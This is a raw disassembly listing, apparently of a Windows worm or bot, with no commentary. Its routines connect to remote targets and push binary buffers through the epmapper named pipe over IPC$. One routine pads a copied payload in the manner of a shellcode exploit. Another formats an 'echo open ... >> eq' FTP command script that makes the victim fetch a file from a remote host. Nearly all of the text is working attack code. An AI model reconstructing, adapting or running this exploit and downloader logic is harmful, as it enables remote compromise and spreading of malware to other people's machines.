loc_40280B:				; CODE XREF: sub_4024D0+319j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B078
		pop	ecx
		push	edi
		call	dword_43CABC	; closesocket
		push	[ebp+var_30]
		call	sub_4150F0
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
sub_4024D0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40282F	proc near		; CODE XREF: sub_40297A+442p

var_5A4		= byte ptr -5A4h
var_1A4		= byte ptr -1A4h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_14], 2
		push	eax
		call	dword_4211DC	; inet_addr
		mov	[ebp+var_10], eax
		mov	ax, word_424F98
		push	eax
		call	dword_4211E0	; ntohs
		push	esi
		push	1
		push	2
		mov	[ebp+var_12], ax
		call	dword_4211E4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	loc_40294F
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		call	dword_4211E8	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40294F
		push	esi
		lea	eax, [ebp+var_5A4]
		push	400h
		push	eax
		push	edi
		call	dword_4211EC	; recv
		mov	esi, offset byte_42C2B4
		mov	ebx, 190h
		push	esi
		push	esi
		push	offset aDd_	; "dd."
		push	offset aDd	; "dd"
		push	offset a78789	; "78789"
		push	offset byte_46AFFD
		push	offset aEchoOpenSDEqEc ; "echo open %s %d >> eq&echo user %s %s	>"...
		lea	eax, [ebp+var_1A4]
		push	ebx
		push	eax
		call	sub_41588A
		add	esp, 24h
		lea	eax, [ebp+var_1A4]
		push	0
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	edi
		mov	edi, dword_4211F0
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40294F
		push	1F4h
		call	dword_421060	; Sleep
		push	esi
		push	offset dword_425090
		lea	eax, [ebp+var_1A4]
		push	ebx
		push	eax
		call	sub_41588A
		add	esp, 10h
		lea	eax, [ebp+var_1A4]
		push	0
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	[ebp+var_4]
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402953


loc_40294F:				; CODE XREF: sub_40282F+54j
					; sub_40282F+6Aj ...
		xor	al, al
		jmp	short loc_402975
; ---------------------------------------------------------------------------


loc_402953:				; CODE XREF: sub_40282F+11Ej
		push	0
		lea	eax, [ebp+var_5A4]
		push	400h
		push	eax
		push	[ebp+var_4]
		call	dword_4211EC	; recv
		push	[ebp+var_4]
		call	dword_4211F4	; closesocket
		mov	al, 1


loc_402975:				; CODE XREF: sub_40282F+122j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40282F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40297A	proc near		; CODE XREF: sub_402DD1+11Bp
					; sub_402DD1+13Dp

var_89B0	= byte ptr -89B0h
var_8948	= byte ptr -8948h
var_68D8	= byte ptr -68D8h
var_6868	= byte ptr -6868h
var_5DA4	= byte ptr -5DA4h
var_4800	= byte ptr -4800h
var_47FF	= byte ptr -47FFh
var_376C	= byte ptr -376Ch
var_2CA8	= byte ptr -2CA8h
var_2CA7	= byte ptr -2CA7h
var_2CA4	= byte ptr -2CA4h
var_2C28	= byte ptr -2C28h
var_2458	= byte ptr -2458h
var_1FAD	= byte ptr -1FADh
var_1CC0	= byte ptr -1CC0h
var_14DC	= byte ptr -14DCh
var_14CC	= byte ptr -14CCh
var_11A8	= byte ptr -11A8h
var_11A4	= byte ptr -11A4h
var_1198	= byte ptr -1198h
var_F10		= byte ptr -0F10h
var_E70		= byte ptr -0E70h
var_764		= dword	ptr -764h
var_754		= byte ptr -754h
var_740		= byte ptr -740h
var_100		= byte ptr -100h
var_FF		= byte ptr -0FFh
var_B0		= byte ptr -0B0h
var_AD		= byte ptr -0ADh
var_83		= byte ptr -83h
var_81		= byte ptr -81h
var_80		= byte ptr -80h
var_38		= byte ptr -38h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_6		= dword	ptr -6
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B0h
		call	sub_415B90
		mov	eax, dword_425110
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_425114
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_38]
		push	offset loc_425104
		push	eax
		call	sub_415316
		add	esp, 0Ch
		xor	eax, eax


loc_4029B1:				; CODE XREF: sub_40297A+4Ej
		mov	cl, [ebp+eax+var_38]
		and	[ebp+eax*2+var_FF], 0
		mov	[ebp+eax*2+var_100], cl
		inc	eax
		cmp	eax, 28h
		jl	short loc_4029B1
		push	60h
		lea	eax, [ebp+var_B0]
		push	offset dword_424B90
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_415B10
		add	eax, eax
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4153F0
		add	esp, 1Ch
		lea	eax, [ebp+var_38]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_415B10
		pop	ecx
		lea	eax, [ebp+eax*2+var_81]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_415B10
		add	al, 1Ah
		push	1
		add	al, al
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_AD]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_415B10
		add	al, al
		push	1
		add	al, 9
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_83]
		push	eax
		call	sub_4153F0
		mov	ax, word_424F98
		add	esp, 2Ch
		push	eax
		call	dword_4211E0	; ntohs
		xor	eax, 9999h
		push	2
		mov	[ebp+var_6], eax
		lea	eax, [ebp+var_6]
		push	eax
		push	offset dword_424888
		call	sub_4153F0
		add	esp, 0Ch
		cmp	[ebp+arg_C0], 0
		jz	loc_402B73
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC0]
		push	edi
		push	90h
		push	eax
		call	sub_415390
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	ebx, dword_424FD8[eax]
		lea	eax, [ebp+var_14DC]
		push	ebx
		push	eax
		call	sub_4153F0
		mov	esi, offset loc_4247D8
		push	esi
		call	sub_415B10
		push	eax
		lea	eax, [ebp+var_14CC]
		push	esi
		push	eax
		call	sub_4153F0
		push	4
		lea	eax, [ebp+var_11A8]
		push	offset loc_4250FC
		push	eax
		call	sub_4153F0
		push	4
		lea	eax, [ebp+var_11A4]
		push	ebx
		push	eax
		call	sub_4153F0
		add	esp, 40h
		push	esi
		call	sub_415B10
		push	eax
		lea	eax, [ebp+var_1198]
		push	esi
		push	eax
		call	sub_4153F0
		add	esp, 10h
		xor	eax, eax


loc_402B22:				; CODE XREF: sub_40297A+1C1j
		mov	cl, [ebp+eax+var_1CC0]
		and	[ebp+eax*2+var_47FF], 0
		mov	[ebp+eax*2+var_4800], cl
		inc	eax
		cmp	eax, edi
		jl	short loc_402B22
		and	[ebp+var_2CA8],	0
		and	[ebp+var_2CA7],	0
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B0]
		push	esi
		push	31h
		push	eax
		call	sub_415390
		push	esi
		lea	eax, [ebp+var_68D8]
		push	31h
		push	eax
		call	sub_415390
		add	esp, 18h
		jmp	short loc_402BCA
; ---------------------------------------------------------------------------


loc_402B73:				; CODE XREF: sub_40297A+116j
		push	7D0h
		lea	eax, [ebp+var_F10]
		push	90h
		push	eax
		call	sub_415390
		mov	esi, offset loc_4247D8
		push	esi
		call	sub_415B10
		push	eax
		lea	eax, [ebp+var_E70]
		push	esi
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_415B10
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_754]
		push	eax
		call	sub_4153F0
		mov	eax, dword_424FD8
		add	esp, 2Ch
		mov	[ebp+var_764], eax


loc_402BCA:				; CODE XREF: sub_40297A+1F7j
		push	0E29h
		lea	eax, [ebp+var_2CA4]
		push	31h
		push	eax
		call	sub_415390
		movsx	eax, [ebp+var_1]
		add	esp, 0Ch
		add	eax, 4
		mov	esi, dword_4211F0
		push	0
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402C0B


loc_402C04:				; CODE XREF: sub_40297A+2C2j
					; sub_40297A+2EDj ...
		xor	al, al
		jmp	loc_402DCC
; ---------------------------------------------------------------------------


loc_402C0B:				; CODE XREF: sub_40297A+288j
		mov	edi, dword_4211EC
		mov	ebx, 640h
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi	; recv
		push	0
		push	68h
		push	offset dword_424BF8
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C04
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi	; recv
		push	0
		push	0A0h
		push	offset dword_424C68
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C04
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi	; recv
		cmp	[ebp+arg_C0], 0
		jz	loc_402D37
		push	68h
		lea	eax, [ebp+var_89B0]
		push	offset dword_424E28
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_4800]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_8948]
		push	eax
		call	sub_4153F0
		push	70h
		lea	eax, [ebp+var_68D8]
		push	offset dword_424E98
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_376C]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_6868]
		push	eax
		call	sub_4153F0
		push	84h
		lea	eax, [ebp+var_5DA4]
		push	offset dword_424F10
		push	eax
		call	sub_4153F0
		add	esp, 3Ch
		lea	eax, [ebp+var_89B0]
		push	0
		push	10FCh
		push	eax
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_402C04
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi	; recv
		push	0
		push	0FDCh
		lea	eax, [ebp+var_68D8]
		jmp	short loc_402D8F
; ---------------------------------------------------------------------------


loc_402D37:				; CODE XREF: sub_40297A+308j
		push	7Ch
		lea	eax, [ebp+var_2CA4]
		push	offset dword_424D10
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_F10]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C28]
		push	eax
		call	sub_4153F0
		push	90h
		lea	eax, [ebp+var_2458]
		push	offset off_424D90
		push	eax
		call	sub_4153F0
		add	esp, 24h
		and	[ebp+var_1FAD],	0
		lea	eax, [ebp+var_2CA4]
		push	0
		push	0CF8h


loc_402D8F:				; CODE XREF: sub_40297A+3BBj
		push	eax
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_402C04
		push	12Ch
		call	dword_421060	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40282F
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_402DCC:				; CODE XREF: sub_40297A+28Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40297A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402DD1	proc near		; CODE XREF: .text:00403E41p

var_858		= byte ptr -858h
var_814		= byte ptr -814h
var_218		= byte ptr -218h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		mov	[ebp+var_8], edi
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_18], 2
		push	eax
		call	dword_4211DC	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_14], eax
		call	dword_4211E0	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp+var_16], ax
		call	dword_4211E4	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+var_4], esi
		jz	loc_402ECE
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	esi
		call	dword_4211E8	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_402ECE
		mov	ebx, dword_4211F0
		push	edi
		push	89h
		push	offset dword_424970
		push	esi
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402ECE
		push	edi
		mov	edi, 640h
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	esi
		mov	esi, dword_4211EC
		call	esi	; recv
		push	0
		push	0A8h
		push	offset dword_424A00
		push	[ebp+var_4]
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402ECE
		push	0
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	[ebp+var_4]
		call	esi	; recv
		push	0
		push	0DEh
		push	offset dword_424AB0
		push	[ebp+var_4]
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402ECE
		mov	ebx, [ebp+var_4]
		push	0
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		movsx	eax, [ebp+var_814]
		sub	eax, 30h
		jz	short loc_402ED9
		dec	eax
		jz	short loc_402ED5


loc_402ECE:				; CODE XREF: sub_402DD1+57j
					; sub_402DD1+6Dj ...
		xor	eax, eax
		jmp	loc_402F6F
; ---------------------------------------------------------------------------


loc_402ED5:				; CODE XREF: sub_402DD1+FBj
		push	0
		jmp	short loc_402EFD
; ---------------------------------------------------------------------------


loc_402ED9:				; CODE XREF: sub_402DD1+F8j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40297A
		add	esp, 0C4h
		test	al, al
		jnz	short loc_402F1D
		push	1


loc_402EFD:				; CODE XREF: sub_402DD1+106j
		push	ebx
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40297A
		add	esp, 0C4h
		test	al, al
		jz	short loc_402F24


loc_402F1D:				; CODE XREF: sub_402DD1+128j
		mov	[ebp+var_8], 1


loc_402F24:				; CODE XREF: sub_402DD1+14Aj
		push	ebx
		call	dword_4211F4	; closesocket
		cmp	[ebp+var_8], 0
		jz	short loc_402F6C
		push	0
		lea	eax, [ebp+var_218]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412BD1
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_40B078
		mov	eax, [ebp+arg_A8]
		add	esp, 18h
		imul	eax, 3Ch
		lea	eax, dword_427390[eax]
		inc	dword ptr [eax]


loc_402F6C:				; CODE XREF: sub_402DD1+15Ej
		xor	eax, eax
		inc	eax


loc_402F6F:				; CODE XREF: sub_402DD1+FFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402DD1	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		lea	esi, [esp+10h]
		sub	esp, 0BCh
		mov	dword ptr [esp+16Ch], 87h
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4033B6
		push	2Fh
		lea	esi, [esp+0D0h]
		pop	ecx
		mov	dword ptr [esp+16Ch], 1BDh
		mov	edi, esp
		mov	ebx, eax
		rep movsd
		call	sub_403C74
		add	esp, 0BCh
		test	ebx, ebx
		jnz	short loc_402FC6
		test	eax, eax
		jz	short loc_402FC9


loc_402FC6:				; CODE XREF: .text:00402FC0j
		xor	eax, eax
		inc	eax


loc_402FC9:				; CODE XREF: .text:00402FC4j
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402FCD	proc near		; CODE XREF: sub_4033B6+28p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aIpc ; "\\IPC$"
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_425638 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_43B658
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		call	dword_421064	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415BBF
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415BBF
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_43B654
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_43CAC4
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_403091
		cmp	eax, ebx
		jnz	short loc_40309B


loc_403091:				; CODE XREF: sub_402FCD+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_43CAC4


loc_40309B:				; CODE XREF: sub_402FCD+C2j
		cmp	eax, 5
		jz	short loc_4030A9
		cmp	eax, ebx
		jz	short loc_4030A9
		xor	eax, eax
		inc	eax
		jmp	short loc_4030AB
; ---------------------------------------------------------------------------


loc_4030A9:				; CODE XREF: sub_402FCD+D1j
					; sub_402FCD+D5j
		xor	eax, eax


loc_4030AB:				; CODE XREF: sub_402FCD+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402FCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030B0	proc near		; CODE XREF: sub_4033B6+7Ap
					; sub_4033B6+15Ap

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset aIpc ; "\\IPC$"
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_425638 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_43B658
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	dword_421064	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415BBF
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415BBF
		add	esp, 10h
		jmp	short loc_40314E
; ---------------------------------------------------------------------------


loc_403143:				; CODE XREF: sub_4030B0+AFj
		push	7D0h
		call	dword_421060	; Sleep


loc_40314E:				; CODE XREF: sub_4030B0+91j
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_43C964
		test	eax, eax
		jnz	short loc_403143
		pop	edi
		inc	eax
		pop	esi
		leave
		retn
sub_4030B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403166	proc near		; CODE XREF: sub_4033B6+A6p
					; sub_4033B6+1E7p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_415B90
		push	esi
		push	edi
		push	offset byte_42C2B4
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40A08A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_414C51
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_4033B2
		push	ebx
		mov	ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_4153F0
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_415390
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_4153F0
		lea	esi, [edi+0D7h]
		jmp	short loc_403228
; ---------------------------------------------------------------------------


loc_4031EA:				; CODE XREF: sub_403166+D0j
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_4153F0
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_415390
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_4153F0
		lea	esi, [esi+edi+30h]


loc_403228:				; CODE XREF: sub_403166+82j
		add	esp, 24h
		mov	eax, esi
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jnz	short loc_4031EA
		cmp	[ebp+arg_C4], 0
		jz	short loc_403253
		cmp	[ebp+arg_C0], 3
		jz	short loc_40325C
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40325A
; ---------------------------------------------------------------------------


loc_403253:				; CODE XREF: sub_403166+D9j
		cmp	[ebp+arg_C0], 3


loc_40325A:				; CODE XREF: sub_403166+EBj
		jnz	short loc_403265


loc_40325C:				; CODE XREF: sub_403166+E2j
		push	4
		push	offset dword_425634
		jmp	short loc_40326C
; ---------------------------------------------------------------------------


loc_403265:				; CODE XREF: sub_403166:loc_40325Aj
		push	4
		push	offset dword_425630


loc_40326C:				; CODE XREF: sub_403166+FDj
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_4153F0
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_425168
		push	eax
		call	sub_4153F0
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4254CC
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_4153F0
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_4254E0
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_4153F0
		add	edi, 3Ch
		push	30h
		push	offset dword_425520
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_4153F0
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_415BE9
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_415390
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_4153F0
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_4033B2:				; CODE XREF: sub_403166+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_403166	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4033B6	proc near		; CODE XREF: .text:00402F93p
					; sub_4076CB+1D7p
					; DATA XREF: ...

var_1338	= byte ptr -1338h
var_338		= byte ptr -338h
var_138		= byte ptr -138h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h
arg_B4		= dword	ptr  0BCh

		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_415B90
		cmp	[ebp+arg_A0], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_403524
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402FCD
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403634
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_138]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_415316
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp+var_138]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	dword_421078	; CreateFileA
		mov	[ebp+var_4], eax
		cmp	eax, 0FFFFFFFFh
		lea	eax, [ebp+arg_4]
		jnz	short loc_40343B


loc_40342F:				; CODE XREF: sub_4033B6+126j
		push	eax
		call	sub_4030B0
		pop	ecx
		jmp	loc_403634
; ---------------------------------------------------------------------------


loc_40343B:				; CODE XREF: sub_4033B6+77j
		push	2
		push	eax
		call	sub_412A1D
		pop	ecx
		lea	esi, [ebp+arg_0]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403166
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	short loc_4034D0
		mov	edi, 186A0h
		push	edi
		call	sub_415BE9
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_415390
		add	esp, 10h
		lea	eax, [ebp+var_C]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_425118
		push	[ebp+var_4]
		call	dword_421074	; TransactNamedPipe
